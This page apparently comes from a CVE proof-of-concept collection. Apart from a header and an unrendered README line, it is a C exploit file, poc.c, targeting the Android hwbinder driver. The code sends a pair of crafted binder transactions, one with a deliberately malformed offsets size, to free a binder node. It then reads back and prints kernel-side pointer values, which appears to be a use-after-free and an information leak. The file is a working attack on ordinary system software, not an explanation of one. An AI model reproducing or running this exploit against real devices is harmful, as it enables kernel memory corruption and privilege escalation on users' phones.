4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
#include "hwbinder.h"
#include "utils.h"
#include <sys/epoll.h>

#define BINDER_OBJ_PTR 0xbeefULL
static hidl_vec tk_bundle;

void free_binder_node(PBINDER_INFO info, uint32_t desc){
    struct binder_transaction_data tr1;
    struct binder_transaction_data tr2;
    struct flat_binder_object fbo1;
    struct flat_binder_object fbo2;
    binder_size_t offsets1[] = {0};
    binder_size_t offsets2[] = {0};
    memset(&tr1, 0, sizeof(tr1));
    memset(&tr2, 0, sizeof(tr2));
    memset(&fbo1, 0, sizeof(fbo1));
    memset(&fbo2, 0, sizeof(fbo2));
    

    fbo1.hdr.type = BINDER_TYPE_BINDER;
    fbo1.binder = desc;
    fbo2.hdr.type = BINDER_TYPE_BINDER;
    fbo2.binder = BINDER_OBJ_PTR;

    tr1.target.handle = desc;
    tr1.offsets_size = 
        (binder_size_t)sizeof(offsets1);
    tr1.data_size = 
        (binder_size_t)sizeof(fbo1);
    tr1.data.ptr.offsets = 
        (binder_uintptr_t)offsets1;
    tr1.data.ptr.buffer = 
        (binder_uintptr_t)(&fbo1);
    tr1.flags = TF_ACCEPT_FDS;
    
    tr2.target.handle = desc;
    tr2.offsets_size = 
        (binder_size_t)(sizeof(offsets2) - 1);
    tr2.data_size = 
        (binder_size_t)sizeof(fbo2);
    tr2.data.ptr.offsets = 
        (binder_uintptr_t)offsets2;
    tr2.data.ptr.buffer = 
        (binder_uintptr_t)(&fbo2);
    tr2.flags = TF_ONE_WAY;
    //getchar();
    binder_transaction(info, NULL, 0, tr1);
    binder_transaction(info, NULL, 0, tr2);
    binder_close(info);
}

void* child(void *args){
    BINDER_INFO info;
    PBINDER_INFO info_ptr = &info;
    memset(&tk_bundle, 0, sizeof(tk_bundle));

    BYTE token[0x40];
    tk_bundle = hidl_vec_new(token, 0x40);

    int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE);
    if(r <= BINDER_VERSION_ERROR){
        fprintf(stderr, "binder driver open failed: %x", r);
        return NULL;
    }
    uint32_t tm = get_token_manager(info_ptr);
    if(!tm){
        perror("invalid tm!");
        return NULL;
    }
    if(!create_token(info_ptr, tm, 0x41, &tk_bundle)){
        perror("create token failed!");
        return NULL;
    }
    
    puts("child token:");
    print_hex(tk_bundle.buffer, tk_bundle.size);

    binder_set_looper(info_ptr);
    while (1) {
        BYTE rb[0x100];
        BYTE* rb_ptr = rb;
        memset(rb, 0, sizeof(rb));
        size_t d = binder_read(info_ptr, (BYTE*)rb, 0x100);
        struct binder_transaction_data* trd = 
            (struct binder_transaction_data*)
            parse_binder_message(rb, d);
        binder_size_t* off = 
            (binder_size_t*)trd->data.ptr.offsets;
        binder_size_t off_count = 
            (trd->offsets_size / sizeof(binder_size_t));

        for(binder_size_t i=0; i<off_count; i++){
            struct binder_object* obj = 
                (struct binder_object*)
                (trd->data.ptr.buffer + off[i]);
            switch (obj->hdr.type)
            {
            case BINDER_TYPE_HANDLE:{
                uint32_t desc = obj->fbo.handle;
                free_binder_node(info_ptr, desc);
                return NULL;
            }
            default:
                break;
            }
        }
    }
    binder_close(info_ptr);
}

void parent(){
    memset(&tk_bundle, 0, sizeof(tk_bundle));
    printf("parent pid %d\n", getpid());
    // create child thread
    create_thread(child, NULL);
    delay_ms(200);
    // wait token
    if(tk_bundle.size <= 0)
        return;

    puts("parent token:");
    BINDER_INFO info;
    PBINDER_INFO info_ptr = &info;
    print_hex(tk_bundle.buffer, tk_bundle.size);

    int r = hwbinder_open(info_ptr, CONST_MAPPED_SIZE);
    if(r <= BINDER_VERSION_ERROR){
        fprintf(stderr, "binder driver open failed: %x", r);
        return;
    }

    uint32_t tm = get_token_manager(info_ptr);
    if(!tm){
        perror("invalid tm!");
        return;
    }
    uint32_t handle = get_handle_by_token(info_ptr, tm, &tk_bundle);
    if(!handle){
        perror("invalid handle!");
        return;
    }

    printf("handle is %d\n", handle);
    BYTE rb[0x100];

    struct flat_binder_object o;
    o.handle = BINDER_OBJ_PTR;
    o.hdr.type = BINDER_TYPE_BINDER;
    binder_size_t f[] = {0};

    struct binder_transaction_data t;
    t.code = 1;
    t.target.handle = handle;
    t.data_size = sizeof(o);
    t.offsets_size = sizeof(f);
    t.data.ptr.buffer = (binder_uintptr_t)&o;
    t.data.ptr.offsets = (binder_uintptr_t)f;
    t.flags = TF_ACCEPT_FDS;
    binder_transaction(info_ptr, NULL, 0, t);
    delay_ms(100);

    size_t d = binder_read(info_ptr, rb, sizeof(rb));
    struct binder_transaction_data* tr = 
        (struct binder_transaction_data*)
        (rb + (sizeof(uint32_t) * 0x3));
    print_hex(rb, d);
    printf("%llx %llx\n", tr->target.ptr, tr->cookie);
    binder_close(info_ptr);
}

int main(int argc, char* argv[]){
    parent();
    return 0;
}